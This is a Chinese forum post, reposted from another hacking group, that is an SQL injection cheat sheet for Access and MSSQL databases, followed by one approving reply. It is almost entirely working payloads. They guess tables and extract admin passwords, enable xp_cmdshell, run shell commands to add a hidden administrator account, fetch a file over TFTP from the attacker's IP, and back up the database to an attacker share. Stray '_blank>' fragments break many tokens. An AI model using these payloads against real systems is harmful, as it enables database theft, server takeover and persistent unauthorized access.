标准SQL注入语句（ACCESS数据库）

小明_

转载HUC缘生
   空间第一，判断有无注入点
‘; and 1=1 and 1=2

第二，猜表: 常见的表有:admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

第三，.猜帐号数目 如果遇到0< 返回正确页面1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

第四，.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

第五，猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

第六猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) –
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1= 1–
; insert into users values( 666, attacker, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank> _name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll–

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘：
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点”-v “e”,”e：\”–

访问属性：（配合写入一个webshell）
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)–

得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union，access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,OUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程：
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造：
Select * FROM news Where id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), char(0×63)+char (0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)
   

三少银

这个不错，对网站检测时可以用到 {:soso_e113:}